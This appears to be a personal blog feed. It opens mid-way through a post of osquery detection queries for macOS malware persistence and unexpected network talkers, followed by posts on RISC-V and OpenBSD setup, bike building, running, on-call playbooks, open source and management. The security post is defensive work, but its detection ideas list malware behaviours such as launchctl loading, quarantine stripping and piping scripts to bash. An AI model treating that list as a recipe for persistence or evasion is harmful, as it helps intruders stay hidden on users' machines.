  AND program_authority NOT IN (
    'Developer ID Application: Microsoft Corporation (UBF8T346G9)',
    'Software Signing'
  )
  AND program_arguments NOT IN (
    '/opt/homebrew/opt/mariadb/bin/mysqld_safe',
    '/opt/homebrew/opt/skhd/bin/skhd',
  )

This is a low-maintenance query, only requiring periodic maintenance of the list of acceptable program authorities. There is a carve out at the end to list acceptable arguments from unsigned launchd entries, such as what you may see with Homebrew.

It's worth noting that programs may choose to configure themselves using launchd.program instead of launchd.program_arguments, but that method is less flexible as does not allow for flags to be passed and thus does not seem to b popular with Malware authors. For an example of detecting launchd programs that do not use arguments, see unexpected-launchd-program.sql

Communications: Unexpected Talkers

The root of this query is: to know which programs talk to whom on your network. On macOS, you can use binary signatures to confidently disambiguate between software packages than install locations. You can see the full query source at c2/unexpected-talkers-macos.sql, but this is the base:

SELECT
  protocol,
  s.local_port,
  s.remote_port,
  s.remote_address,
  p.name,
  p.path,
  p.cmdline AS child_cmd,
  p.cwd,
  s.pid,
  p.parent AS parent_pid,
  pp.path AS parent_path,
  pp.cmdline AS parent_cmd,
  CONCAT (
    MIN(s.remote_port, 32768),
    ',',
    protocol,
    ',',
    MIN(p.uid, 500),
    ',',
    p.name,
    ',',
    signature.identifier,
    ',',
    signature.authority
  ) AS exception_key
FROM
  process_open_sockets s
  LEFT JOIN processes p ON s.pid = p.pid
  LEFT JOIN processes pp ON pp.pid = p.parent
  LEFT JOIN signature ON p.path = signature.path
WHERE
  protocol > 0
  AND s.remote_port > 0
  -- Not apple software
  AND NOT (
    signature.identifier LIKE 'com.apple.%'
    AND signature.authority = 'Software Signing'
    AND remote_port IN (53, 443, 80)
    AND protocol IN (6, 17)
  )
  AND NOT exception_key IN (
    '22,6,500,Cyberduck,ch.sudo.cyberduck,Developer ID Application: David Kocher (G69SCX94XU)',
    '443,6,0,Install,com.adobe.Install,Developer ID Application: Adobe Inc. (JQ525L2MZD)',
    '22,6,500,ssh,com.apple.openssh,Software Signing'
  )

The first time you run this query, prepare to feel overwhelmed by all the non-Apple applications you see on the network. The technique I've found useful to build up a list of exceptions is to dump all the results to a programmatic form (CSV, JSON), sort and unique them, and autogenerate the correct syntax to include them into the SQL query.

The calls to MIN() are to disambiguate between root and non-root UIDs and ephemeral port ranges.

One important caveat about the above query is that it uses process_open_sockets, which only shows currently open connections, rather than socket_events which allows you to inspect recent events. This means that there is potentially a race condition in which you may not see the talker if it has already closed the connection. For a backward-looking version of this query, try something like:

SELECT
  protocol,
  s.local_port,
  s.remote_port,
  s.remote_address,
  p.name,
  p.path,
  p.cmdline AS child_cmd,
  p.cwd,
  s.pid,
  p.parent AS parent_pid,
  pp.path AS parent_path,
  pp.cmdline AS parent_cmd,
  CONCAT (
    MIN(s.remote_port, 32768),
    ',',
    MIN(p.uid, 500),
    ',',
    p.name,
    ',',
    signature.identifier,
    ',',
    signature.authority
  ) AS exception_key
FROM
  socket_events s
  LEFT JOIN processes p ON s.pid = p.pid
  LEFT JOIN processes pp ON pp.pid = p.parent
  LEFT JOIN signature ON p.path = signature.path
WHERE s.remote_port > 0
AND s.time > (strftime('%s', 'now') -600)
  AND NOT (
    signature.identifier LIKE 'com.apple.%'
    AND signature.authority = 'Software Signing'
    AND remote_port IN (53, 443, 80)
    AND protocol IN (6, 17)
  )
  AND NOT exception_key IN (
    '22,6,500,Cyberduck,ch.sudo.cyberduck,Developer ID Application: David Kocher (G69SCX94XU)',
    '443,6,0,Install,com.adobe.Install,Developer ID Application: Adobe Inc. (JQ525L2MZD)',
    '22,6,500,ssh,com.apple.openssh,Software Signing'
  )

On my osquery installation, socket_events.protocol is always NULL, so I've omitted it in the second query.

One optimization we use in the full version of c2/unexpected-talkers-macos.sql is skipping SIP-protected paths. Checking the signatures of every binary is expensive, so as a performance optimization, we skip the paths that cannot normally be written to.

Some applications are less predictable when it comes to outgoing ports to use, for example: web browsers or SyncThing. For those you may want to craft more targetted logic than relying on exception_key.

Expect this query to require a bit of maintenance: updating the list of entries weekly or daily. To make it easier to maintain, consider splitting out a list of HTTP/HTTPS talkers from the rest, as those protocols make up the bulk of communications on macOS. To further lower the maintenance burden, you could also have an exception list of "These signers can do whatever they want".

Follow-ups

While reviewing the evidence, several other possibilities for detection arose:

Calls to 'chmod +x' or other variants: nearly universal across Malware samples
Unexpected programs that link against SecurityFramework: GIMMICK, oRAT, CloudMensis, Covid, KeySteal
Unexpected programs that link against SystemConfiguration.framework: GIMMICK, CloudMensis, DazzleSpy
Unexpected calls to launchctl load: CloudMensis, CoinMiner, DazzleSpy, GIMMICK, KeySteal
Unexpected .pkg signers: oRAT, KeySteal
Unexpected calls to xattr -c: CloudMensis, KeyStealer
Unexpected programs that link against libcurl: SysJoker
Processes running with unexpected extensions (.ts): SysJoker
Unexpected contents within /var/root: SysJoker, GIMMICK
Unexpected executables within /Library: SysJoker
Fake Adobe Launchd Services: Coinminer
XMRig process arguments: Coinminer
Calls to bash -s (stdin): pymafka
Programs named "MacOs" (bad case): SysJoker, Pymafka

With any luck, some of these detection ideas will land in the osquery-defense-kit in the coming weeks. Help wanted!

Other weird things I noticed

DazzleSpy specifically references /Volumes/GRMCPRXFRER_CN_DVD (Windows 7 SP1 DVD ISO)
DazzleSpy references /private/var/log/fsck_hfs.log - which seems like a weird log to exfiltrato.
oRat doesn't have an obvious built-in persistence mechanism, though that may be deployed in a subsequent payload.
VPN Trojan (Covid) references enableReLaunchOnLogin, but doesn't have a known persistence mechanism.
CloudMensis includes ancient Safari escapes: https://github.com/maximehip/Safari-iOS10.3.2-macOS-10.12.4-exploit-Bugs/blob/master/Makefile
CloudMensis references files I haven't seen mentioned before: /Users/%/Library/Logs/imis.log (possibly just a typo for ims.log), and /Library/Application Support/Apple/Fonts/iWork/.Standard.ttc
CloudMensis contains some interesting calls to launchctl, such as "launchctl setenv HOME". This appears to be related to a TCC bypass for CVE-2020–9934.
Insekt has references to the pkexec exploit (Linux). Specifically, /Users/woody/Downloads/vul/poc-cve-2021-4034-main/exploit.go

Do let me know if you found this post useful!

My yearly rebirth

2023-01-03T00:00:00Z

For years I’ve had New Year’s resolutions to commit to blogging. This year isn’t any different!

So, what is different? For one, I feel I have more to share with the world now. I recently moved back to North Carolina, took up motorcycling again, and have professionally refocused on computer security.

In a surprising turn of events, Twitter recently torched its community goodwill and has suffered a massive brain drain. While this has been felt most acutely in the computer security industry, other groups, such as journalists, have also moved to Mastodon. I’ve tried my hand at Mastodon too, and while it’s been a good way to connect with more local personalities, it still feels a bit empty and hollow.

The post-Twitter shift has made room for a nascent renaissance in distributed social media and even blogging. There's been a clamor for folks to Start a Fucking Blog. Feeds are back en vogue, even if they have taken on a new flavor: ActivityPub.

Now blogs such as this one have ActivityPub feeds, which means they can be followed on Mastodon (this one is @thomrstrom@unfinished.bike). Even a decade after it was declared dead, RSS is still around and Feedly is as good as ever.

It remains to be seen what will be done with this next-to-new-found-land.

BeagleV RISCV experimentation

2022-02-07T15:46:40Z

RVBoards has a handy Getting Started with BeagleV™ - StarLight guide that I followed to get the board up and running.

Step 1: figuring out where the fan leads go to: red (5V power) goes to pin 4, black (ground) goes to pin 6.

Step 2: Download latest Fedora image from the starfive-tech/Fedora_on_StarFive repository. At the time of this writing, it's 2021-December-26, which uses the 5.16-rc6+ kernel:

curl -LO https://fedora.starfivetech.com/pub/downloads/VisionFive-release/Fedora-riscv64-jh7100-developer-xfce-Rawhide-20211226-214100.n.0-sda.raw.zst

It turns out that my download would fail every couple of hundred megabytes with HTTP/2 stream 0 was not closed cleanly: INTERNAL_ERROR (err 2), so I wrote a small fish loop to retry and resume the download until complete:

while ! curl -LO -C - http://fedora.starfivetech.com/pub/downloads/VisionFive-release/Fedora-riscv64-jh7100-developer-xfce-Rawhide-20211226-214100.n.0-sda.raw.zst; sleep 1; end

Step 3: Confirm checksum and decompress image

unzstd Fedora-riscv64-jh7100-developer-xfce-Rawhide-20211226-214100.n.0-sda.raw.zst
sha256sum Fedora-riscv64-jh7100-developer-xfce-Rawhide-20211226-214100.n.0-sda.raw.zst

Step 4: Flash the image

Since I'm on macOS, I use balenaEtcher for it's handy UI, but dd works as well:

 sudo dd if=Fedora-riscv64-vic7100-dev-raw-image-Rawhide-202104161415.n.0-sda.raw of=<device> bs=8M status=progress

Step 5: Serial

Compared to other recent arm64 boards I've used, the BeagleV has no built-in USB serial port, but it does have GPIO pins you can hook your own USB serial device up to. The guide called for GND in pin 6, TX in pin 8, and RX in pin 10. However, the fan also uses pin 6 for GND, so I opted for pin 14 instead. Once setup, the monstrosity appears:

I normally use minicom -b 115200, but in order to learn something new today, I tried SerialTools. The important part is setting your baud to 115200, but you'll also want to turn local echo off.

Step 6: Logging in!

The default login is riscv:starfive.

The output of uname -a shows that it's running Fedora 33:

Linux fedora-starfive 5.15.0-61.fc33.riscv64 #1 SMP Wed Nov 10 20:58:14 CST 2021 riscv64 riscv64 riscv64 GNU/Linux

Step 6: Network connectivity

After plugging in an ethernet cable, I was able to get an IPv4 IP, but oddly enough, the host did not get an IPv6 address, which I'm going to need for this environment. This was easy enough to fix:

sudo sed -i 's/NETWORKING_IPV6=no/NETWORKING_IPV6=yes/g' /etc/sysconfig/network

But when I went to restart the networking stack, it didn't go as planned:

$ sudo systemctl restart network
Failed to restart network.service: Unit network.service not found.

That's because it's now managed by another system:

sudo nmcli con reload eth0

Step 7: Updates

To update:

sudo dnf update && sudo dnf upgrade -y

Sadly, there were no updates, so I wouldn't put anything security sensitive on this board:

Last metadata expiration check: 0:01:04 ago on Tue 08 Feb 2022 01:03:06 AM CST.
Dependencies resolved.
Nothing to do.
Complete!

OpenBSD on the Framework laptop

2022-01-21T00:00:00Z

While preparing for my first week at Chainguard, the CEO mentioned that I should order my own laptop. As a ~15 person startup, there isn't an IT department to handle these sorts of things.

In 2022, the default laptop of choice for a software engineer working on cloud infrastructure is the Apple M1 Powerbook. They hit nearly all the checkboxes: a great screen, powerful CPUs, and battery life that is the envy of any laptop in their class. The arm64 based Macs are fantastic: in fact, I'm typing this from my personal M1 MacBook Air. Ever the contrarian, I however felt that:

Working at a company that embraces a secure-by-default stance should use an operating system that matches philosophically
Using a non-standard environment ensures that I will need to learn the underlying system internals
As an open-source contributor, supporting alternative platforms promotes inclusiveness, diversity, and clean architecture.

The clear hardware choice for rebellious open-source developers in 2022? The Framework Laptop. It ships with open-source firmware, is available without a closed-source operating system, and is designed to be user upgradeable.

OpenBSD has always been a contumacious alternative, particularly on a laptop. That said, if you work in computer security, you owe it to yourself to try OpenBSD some time: if only to learn about the impact of a secure-by-default stance has on user behavior. While I expected OpenBSD to be painful on a laptop, I was comforted when I found this another blogger, Joshua Stein, who had detailed their experience (with much better photos)

Assembly

The Framework laptops come in two varieties: a pre-assembled laptop with Windows, and a DIY laptop without an OS. Since I wasn't planning on running Windows, I opted for the DIY version to save money. I won't repeat what is already in the excellent Framework Laptop DIY Edition Quick Start Guide, but I'll share some notes.

Difficulty levels:

Memory: easy to add
Storage: easy to add
Wireless: easy to screw up once
I/O ports: Trivial (I opted for 3 USB-C ports and 1 USB-A port)

Standout features:

The I/O ports have plenty of clearance from one another. The aesthetics aren't great, but it means that the ports on each side are always usable, contrary to my MacBook Air.
The case screws are all designed to be half-removed and stay in place. As someone who always loses screws, I really appreciated this.
The magnetic case clasps are also a surprisingly nice reassuring touch
If you make any changes to the RAM configuration, you will be staring at a black screen for the first 1-2 minutes of the next boot. It isn't reassuring at all.
The webcam functions excellently (except in low-light).

Due to the compatibility issues documented at OpenBSD on the Framework Laptop, I bought the older Intel AX201NGW wireless card for a mere $13 on eBay.

Flashing an OpenBSD USB stick from macOS

I find I learn more about software by installing it from HEAD, or at least a recent snapshot of it. OpenBSD offers nightly snapshot images, so I opted to download OpenBSD from there. I don't typically do so, but due to my interest in the software signing space, I decided to follow the instructions to confirm that the install image matches the expected SHA256 signature:

curl -O https://cdn.openbsd.org/pub/OpenBSD/snapshots/amd64/SHA256 
shasum -c SHA256 --ignore-missing

I had no idea that the shasum command could pull hashes out of a text file like that. This is a great way to avoid corrupt downloads, but doesn't help at all for avoiding supply-chain attacks, as the checksums and the image share the same mutable distribution mechanism.

Writing the install image to disk on macOS is the same as with other operating systems. Find the device name for the USB stick:

sudo diskutil list

In this case, it's a 128GB Samsung Stick connected via USB-C, hiding at /dev/disk4:

/dev/disk0 (internal):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                         500.3 GB   disk0
   1:             Apple_APFS_ISC ⁨⁩                        524.3 MB   disk0s1
   2:                 Apple_APFS ⁨Container disk3⁩         494.4 GB   disk0s2
   3:        Apple_APFS_Recovery ⁨⁩                        5.4 GB     disk0s3
...
/dev/disk4 (external, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:     FDisk_partition_scheme                        *128.3 GB   disk4
   1:                 DOS_FAT_32 ⁨UNTITLED⁩                128.3 GB   disk4s1

Unmount the disk, and flash it with OpenBSD:

sudo diskutil unmountDisk /dev/disk4 
sudo dd if=install70.img of=/dev/disk4 bs=1m                                         ```

First Boot

During the first boot, I found myself staring at a black screen for a few minutes. It turns out that this weird behavior is expected when booting a standard open-source operating system due to Secure Boot.

Once I rebooted, hit F2, and disabled secure boot, the laptop booted directly to USB.

Welcome to the OpenBSD/amd64 7.9 installation program.
(I)nstall, (U)pgrade, (A)autoinstall, or (S)hell?

Since this is a corporate laptop, I certainly wanted to use Full Disk Encryption. I followed the OpenBSD Full Disk Encryption, which meant selecting the (S)hell option.

While setting up the disks, the laptop suddenly lost power. What The Fudge? I was pretty sure it was related to my hardware, as I wasn't fully confident about was the DIMM insertion, so I attempted a RAM dance (something I learned from working in a Google Datacenter over a decade ago), but it happened again.

I then tried reseating all the components, and it happened again. I found a scary sounding forum thread, but it wasn't a complete match for what I was seeing. The power loss only seemed to happen while I was typing, and only after a couple of minutes.

In my 3rd install attempt, everything worked mysteriously. It was only later that I realized I was battling the same touchpad power event [https://jcs.org/2021/08/06/framework](detailed here). After the installation, I never encountered it again.

One post-installation surprise was that the Intel Wireless card didn't work - due to a missing firmware blob. I used an older EDIMax USB wireless card, and not only did it work great, but it magically allowed the Intel wireless card to work properly as OpenBSD downloads the necessary drivers during boot time via fw_update: if it has a working internet connection to begin with.

Post-Installation

I floundered about for a bit trying to choose which desktop environment to use, but eventually settled on XFCE. I never did get Gnome to work, but MATE worked properly once I ran:

doas rcctl enable messagebus avahi_daemon
doas rcctl start messagebus avahi_daemon

I was very impressed that nicities such as hot-plugging a new display and my gnubby key worked out of the box. The OpenBSD of 15 years ago wouldn't have. Since this was a laptop, I enabled power management, though I'm not honestly not sure if it helps at all:

rcctl enable apmd
rcctl set apmd flags -A
rcctl start apmd

Once the machine was installed, I configured doas to allow the users in the wheel group (me) to easily execute commands as root:

echo "permit persist :wheel" > /etc/doas.conf

I set the hostname:

echo wintermute.chainguard.dev | sudo tee /etc/myname
sudo hostname $(cat /etc/myname)

I copied the network configuration from the EDIMax USB ethernet to the Intel card I was using:

doas cp /etc/hostname.urtwn0 /etc/hostname.iwx0

OpenBSD disables audio/video recording by default, which makes it difficult to use video-conferencing software. I added these values to /etc/sysctl.conf:

kern.audio.record=1
kern.video.record=1

To allow regular users access to the video device, you'll need to set ownership -- even after every upgrade:

sudo chown $USER /dev/video*

I configured OpenBSD to default to using my USB microphone for input and output. Oddly enough, there doesn't seem to be an easy way to enumerate audio devices in OpenBSD, so none of the graphical audio switchers work well.

doas rcctl set sndiod flags -f rsnd/0 -F rsnd/1
doas rcctl reload sndiod

I couldn't get screen sharing to work in Google Meet in either Chrome or Firefox, but eventually made it function in Firefox by disabling the pledge sandbox, as per the mozilla-firefox port docs:

echo disable | doas tee /etc/firefox/pledge.gpu
echo disable | doas tee /etc/firefox/pledge.content
echo disable | doas tee /etc/firefox/pledge.main
echo disable | doas tee /etc/firefox/pledge.rdd

To keep Firefox and other behemoths from suddenly crashing, I joined the staff group and increased the per-process memory limits in /etc/login.conf:

staff:
	:datasize-cur=16G:
	:datasize-max=infinity:
	:maxproc-max=512:
	:maxproc-cur=256:
        :openfiles-cur=4096:
        :openfiles-max=8192:
	:stacksize-cur=32M:
	:ignorenologin:
	:requirehome@:
	:tc=default:

To play music, I installed ncspot, a terminal Spotify player. The Spotify web client requires DRM (Digital Rights Management) extensions, which are not supported on OpenBSD. ncspot requires extended terminal settings to avoid corrupt output: env TERM=xterm-256color LANG=en_US.UTF-8.

Annoyances

The current annoyances with my configuration are:

Fan control: The laptop fan fans seem overactive in OpenBSD, especially given the normal temperature I've seen. This is noticeable when watching a video stream.
Chromium / Google Meet: I never did get screen sharing to work, receiving only the following error: "Can't share your screen: Sorry, an error has occurred when screensharing." I was able to get it to function in Firefox by disabling pledge.
Zoom: With Firefox, Zoom reports Zoom is not supported on your operating system, but can be accessed using a User-Agent switcher extension. With Chromium, Zoom starts, but audio input doesn't work, reporting Your browser doesn't support using computer's Audio device. I haven't tried a user-agent switcher in Chromium.
Editors: While NeoVim is good, I miss VSCode. Perhaps code-server will work with some elbow grease. It requires a newer NodeJS than is available in OpenBSD packages, and my attempt to build an updated resulted in SIGABRT issues.
Cloud Native: Many common cloud-native tools only exist in a Linux-based universe. Don't expect Docker, Kubernetes, Podman, LIMA, kind, minikube, or ilk to function in OpenBSD. You can still build & push containers using ko and sign containers using cosign.
Resume after Suspend: I don't know if it's a thing with encrypted volumes, but I have yet to successfully resume after suspend: The fan spins, I see a login prompt, but am unable to type at it. I haven't tried very hard to fix this, but it does mean scarier fsck sessions at boot time than I'm used to.

In Closing

I found that most of the heartache in OpenBSD is related to one of two things:

Using software that isn't popular with other OpenBSD users: NodeJS, for instance.
Paranoid security defaults that can be overcome

Hand-carving a bicycle

2022-01-20T00:00:00Z

After dumping 60 hours into hand-carving a custom bicycle frame, I can say with high probability that you probably shouldn't do so. Before I convince you of this, let me describe how I went about it.

A brief history of my bike builds

Five years ago, while recovering from a broken foot, I ordered the Calfee DIY Bamboo Bicycle Kit to give me something to do. The kit provides the bamboo, the tools, the diagrams, and instructional videos. It's everything you need, except that the DIY jig was frustrating, as the connection points easily moved around when taped down. I started building a mountain bike but then turned it into a monster-cross bike (think cyclocross with 29" MTB tires):

Some discoveries from this build experience were:

Drop-bar bicycles and straight-bar bicycles have different geometries
Building lugs out of solely fiberglass casting tape is unsuitable for long-term use

The bike lasted about two years before the poles became loose within the lugs. Thankfully this waited until I was in the middle of building a second bamboo bicycle, using the Bamboo Bicycle Club kit. While the jig was equally janky, after some significant reworking — it's a fantastic road bike. I did use a different technique for building up the lugs, with an inner flax layer and an outer hemp layer:

I've also since built a city bike using the Bamboo Bee kit. This kit had pre-cut poles and pre-assembled connection points for the head tube, bottom bracket, and dropouts, with hemp for the lugs:

Dreaming up a new geometry

Since the destruction of Big Panda, my monster-cross bike, I've wanted something for hitting up the local gravel roads. Gravel bikes are all the rage now, so I knew there would be a lot of bikes I could get inspiration from. I really like the look and characteristics of the Canyon Grizl, so after studying the competition, I decided to mostly ape it's geometry:

One major departure from the Grizl is that I wanted something more adept at bikepacking and long-distance travel, so I decided to give it slightly longer chainstays (435mm -> 440mm). I also had to change the trail from 68 to 60 as I couldn't source a comparable carbon fork. Since I had the part handy, I decided to use a 150mm head tube instead of the 138mm, which should make it more comfortable. I also opted to use a 73mm bottom-bracket to give more tire clearance than a more typical 68mm road bike, or the 86mm press-fit that the Grizl uses.

So, we're already talking about a bike with very different riding characteristics. The final geometry underwent further changes as the cuts weren't always exactly to plan, but this is roughly what I ended up with after plugging my numbers into BikeCAD:

Hand-carving

For the previous bikes, I've used the tube-cutting jig provided by Calfee. It's pretty easy: you grab the correct diameter (38mm or 48mm) hole saw blade, mount both poles together, mark the angle, and cut. The biggest risk is accidentally reversing the angle. This time, I decided to omit both a bamboo-specific jig and the tube-cutting jig, to practice some of my new-found woodworking skills.

To start with, I'm using a fairly standard bicycle jig from Brew Bikes, which is unfortunately designed for use with perfectly cylindrical metal tubes. Thankfully, this problem only becomes an issue with the seat tube. Instead of a tube-cutting jig, I'm using some japanese hand-saws and lignivorous 40-grit sandpaper wrapped around similarly sized tubes (47mm, 38mm, etc). The process is simple: cut the pole and the correct center points, draw the diameter of the joining tube, make some diagonal cuts with the hand-saw, and sand it into a perfectly round hole.

It turns out that wanting to get millimeter-level perfection with hand-carved items is incredibly time consuming. This was doubly the case with my tubes, as it contained both a bamboo outer tube and a carbon-fiber inner tube — a variation that the folks at Calfee wanted me to try. An additional complication is that bamboo itself isn't round, nor do the sand-paper tube diameters directly match, so there was a lot of time spent using chalk to indicate where the two tubes met in order to improve the connection:

The result so far

As I mentioned before, the Brew Bikes seat jig doesn't work well for bamboo bikes. While it's excellently designed, it only works for cylindrical tubes in 3 sizes: 28.6, 31.75, and 35mm (optional). The seat tube I'm working with is a chonky 42mm. I ended up building my own jig adapter, and after 3 attempts, I finally ended up building a version that allowed me to precisely lock-in the seat angle while I kept removing and adjusting the seat tube.

Anyways, after roughly 60 hours of work to setup a jig and carve the wood, I have something that looks like a front triangle:

The next step is the rear triangle, which is particularly challenging for a gravel bike. One has to finely thread the chainstay between the pedals and larger tires that a gravel bike has. My goal is to fit 700x45mm tires, but 42mm is likely all I can safely get away with.

On my next bamboo bike build, I'll definitely use a tube cutter jig to save time.

My first 15k run

2022-01-10T00:00:00Z

Yesterday, I ran further than I have ever run before: 15k (9.6mi). Today, my legs feel sore and stiff, as if I am walking around on knees made up of chipped pallasite.

I trained for two months, but as you can see from the above chart, I only ran past the 7-mile range once.

I can make all sorts of excuses as to why I didn't train more, but a significant reason for it was pain. After about 5 miles, I began to feel significant pain where the (medial|lateral) collateral ligaments met the fibula. This pain would last for days after a run. Running the actual Hot Chocolate 15k was no exception.

The day of the run was compatively smooth. The starting line was only a 20-minute walk away, so I went directly in without checking any gear. Once at the starting point, the line was divided up in groups based on the expected lap time we signed up with: 12:00/mile pace, in my case. 14-minutes after the first group left, ours did as well.

The actual run didn't cover any new ground for me, as Golden Gate Park has been my stomping ground for cycling and running for the last 10 years. The weather was a perfect 55'F (13'C), and the sun was out. Roughly every 3 miles there was a rest stop with water, gummy bears, marshmellows, and best of all: bathrooms!

The detour down the Great Highway toward the Zoo gave us a glimpse of the ocean, albeit buried behind the sand dunes:

At the 7-mile mark, I began to feel tired - like I really had to push myself up the hill to go on. At the 8-mile mark, I was tired, but everything was autopilot.

At 9-miles, some familiar folks were waving to me: my wife & kids! It wasn't difficult to coax the youngest to run the final 0.6mi (1km) to the fininsh line with me.

So, why did I run? I blame my good friend and long-time cycling partner, Tom. He's been running the Hot Chocolate for 7 years now. He had previously coaxed me into it 5 years ago, but unfortunately I broke my foot a few weeks ahead of the actual run.

Would I recommend the Hot Chocolate Run? Most definitely. The experience certainly has me thinking about the viability of running a Half Marathon later this year.

Special thanks to Tom Kocon & Peter van Vugt for all the peer pressure and training.

The anatomy of a great playbook entry

2021-05-21T00:00:00Z

What if you could easily reduce the length of outages by 3X?

According to the SRE book, "recording the best practices ahead of time in a playbook produces roughly a 3x improvement in MTTR". This improvement mirrors my experience with well-written playbooks.

So what makes a playbook entry "great"?

Philosophy

Remember how you felt in your first on-call rotation, when you were paged at 3am for a system you barely understood? Write your playbook entries for that person.

Playbooks should provide just enough context to confidently work through an incident, without providing extraneous content that will be a burden to keep up-to-date.

Be wary of playbooks that offer exact remediation steps: these are often a sign of sacrificing human blood to a system that should be automated.

Discovery

Alerts should always include the relevant playbook URL. Otherwise, you will introduce human error by introducing the possibility of the responder following the incorrect playbook.

Consider including the alert name in the playbook URL to make it easier to find. This also the alert template to be templatized in some systems. For example: https://playbooks/%%ALERT_NAME%%

Structure

Playbooks are the easiest to scan through in an emergency when they have a consistent structure. The exact best structure may differ depending on the organization, but this is what has worked for me:

The structure that works best is highly dependent on your team's culture, but this is what has worked for me:

Severity: How to assess the criticality of this alert from your team's point of view. Is it a slow-burning issue that generates tickets, a critical paging event, or does the severity depend on the duration?
Impact: How are your customers impacted by this alert? Often a one-liner, for example: "None immediately. If ignored, may result in revenue-impacting customer provisioning failures due to resource exhaustion"
Metrics: 1-2 graphs showing the impact, duration, and if the effect is worsening. Inline live-updating graphs work best, as they can prevent the incident responder from making unnecessary changes when the problem is dissipating. Hyperlinks are nearly as good.
Background: What should a new person on the on-call rotation know about this system? Be terse, providing a hyperlink for more information and/or an architectural diagram. To reduce maintenance burden and cognitive load during incident response, share this section between multiple playbook entries via templating.
Mitigation: What are the recommended steps to mitigate the issue? This is often in checklist-style and may include steps for rolling back or redirecting traffic.
Debugging: How should one get started digging into why this alert is firing? For example:
1. Check for recent fatal error messages:
2. Check the cluster for free disk space:
3. Check url to see when the last release went out
References: Links to the alert configuration, or code that generates the metric used by the alert, can be useful in understanding the underlying behavior. Post-mortems can also be valuable.

Formatting

Be concise
Bulleted or numbered lists instead of paragraphs.

The Kubernetes Documentation Style Guide has great recommendations for technical documentation, but the most important for playbooks is: make your commands trivial to copy and paste.

Do not include the command prompt. S
- See: data loss due to > character in prompt
Separate commands from example output
Do not include real but unrelated host, site, or cluster names in your example command.
- I once saw an outage spread when a responder copied an example command with the intent to edit the hostnames before pressing enter. They pressed enter first.

Maintenance

Keep playbooks up to date by:

Regularly scheduled "Wheel of Misfortune" role-playing game sessions, where the previous on-call engineer walks the current on-call engineer through a pager response scenario.
Post-mortem action items that suggest playbook updates to decrease the resolution time for future pages for the same alert.

Big-bang efforts such as auditing all of the playbooks for relevance are best made once initially, to get the playbooks into the same structure. I have never seen quarterly playbook reviews work.

Special thanks to Joseph Bironas for editorial feedback and ideas for this article.

Choose Open Source

2021-03-10T00:00:00Z

Why adopt open-source tools?

On a long enough timescale, open-source always wins.

Even with 100,000 engineers, no single company can compete in the long-term with a worldwide community of millions of software engineers operating around the clock.

All companies eventually perish. Corporations are constantly reevaluating and adjusting their priorities to meet business needs. As such, it is always unwise to tie one's fortune up to another's success. Ask anyone who adopted ColdFusion.

With open-source, when the original authors perish with open-source, the community will inevitably breathe life back into the project.

Why should we open-source our software?

In 2021, the only places where a closed-source strategy is still particularly effective are applications designed to have a short shelf-life (1-5 years) and gaming. In some industries, such as developer tooling, a closed-source strategy is especially detrimental, as you are hurting the demographic that would otherwise contribute to your success.

In the short-term, salary is often a more effective means of rallying people around a single goal. If you intend on your software being relevant for longer than this period, it should probably be open-source. This effective time horizon of closed-source software decreases yearly as open-source tooling gets better and community adoption grows.

Paid participation is especially critical when the project requires experts from people outside of the software engineering community, such as artists and musicians. The combination of artistic contributions and short time-scale is why popular open-source games are rare.

Arguments against open-sourcing

1. There is no benefit

Arguable, but it is also unlikely you will suffer because of it either. In the unlikely scenario where you receive no significant external contributions, your project will improve significantly:

Your onboarding docs will improve.
Your software will become more modular & portable.
Craftsmanship will improve with the knowledge that anyone in the world can see and comment on their code.
It will be easier to attract talent
Talent will already familiar with your project
Reduced on-boarding time
Drive-by contributors will continually address rough edges
Improved test-coverage to defend against incorrectly written PR's
Faster and more reliable release automation

In the same way that scientific advances from space exploration bubble down into the lives of everyone on the planet, the additional focus on documentation, testing, and code quality bubbles down into an improved product and better engineers.

2. Accepting patches incurs too much overhead

You are already accepting patches internally. It is no more difficult to code review external contributions than code from members on your team, yet you do so as it builds a better product.

3. The code quality of contributions is too low

In my experience, it's no worse than accepting patches from a new member of your team. The best defense against this is automated testing to enforce code quality and documenting standards: These are also things that you should be doing for closed-source software projects.

4. Open-sourcing will undermine our security model

No more than a debugger will. If open-source worries you from a security perspective, it may be a sign that your security model is flawed.

5. Open-sourcing gives away our competitive advantage

Sometimes, but not as often as you might think.

Your competitive advantage is your people and your ability to execute. Consider whether it makes sense to open-source your platform but limit the availability of certain features or datasets to paying customers.

What else in it for me?

We've spoken a lot about why open-source is good for community and longevity

https://www.youtube.com/watch?v=ZtYJoatnHb8

Motivating Software Engineering Teams

2021-03-09T00:00:00Z

Empathy, purpose, craftsmanship.

Empathy

The key to motivating a team is to identify what motivates the people that make up the team, with enough empathy to put yourself in their shoes.

Everyone wants to be happy, but everyone has their unique path to happiness. Learning the career and life goals of everyone on the team allows you to prime the right tasks for them at the right time.

Asking people directly, "What motivates you as a software engineer?" will often unlock the right set of hints for how to frame messages in a way that works for them. However, to get an honest and complete answer, one needs to build rapport.

Building rapport

Building rapport with the team is critical to establishing the psychological safety required for folks to feel comfortable sharing their real thoughts. My advice is to model and build a real personal connection that supersedes the synthetic relationship of the manager to the direct report.

My strategy for building connection is: demonstrating care, showing vulnerability, and deep listening. Proving that you care is something that you cannot fake. If you cannot care deeply for each person on your team, you will fail to motivate your team in the long term.

A technique I have used successfully is to declare to each person my focus: it's them, and their long-term career. As a manager, the people you inspire are the legacy you will leave behind. This advice may seem antithetical to most business guidance, but if you genuinely care for your team, you will be in a better place to inspire them. After all, as humans, we are more important than the companies in which we serve.

It is important to recognize that the average tenure at a tech company is three years, so your manager/report relationship will last on average only a year and a half, or about 5% of their career. As a manager trying to build a high-functioning team, you should focus on making the most of this overlap to set them up for the other 95% of their career. Letting your direct report know that you are on their side and in it for the long-haul will build the rapport necessary for candor.

Life stories make goals real & approachable

To build mutual respect, candor, and empathy, I like to take time in an early 1:1 to model it through sharing my life story, career journey, goals, and missteps. Next, it's your turn to listen intently to your report's own life story, noting that they may not be ready to share all of it. What you hear though, may surprise and shock you. Life isn't always sunshine and roses.

For subsequent 1:1's, I ask for the report to record their goals, both within the company and outside of it. These goals will be kept at the top of our 1:1 notes to always stay fresh within our minds when we meet. Mine reads:

Career: make large-scale computing trivial for the world
to use in a sustainable manner.

Non-career: Accelerate human knowledge. Be a great father
and spouse.

With time, you should achieve the empathy and respect necessary to understand each other's personal and professional motivation.

Purpose

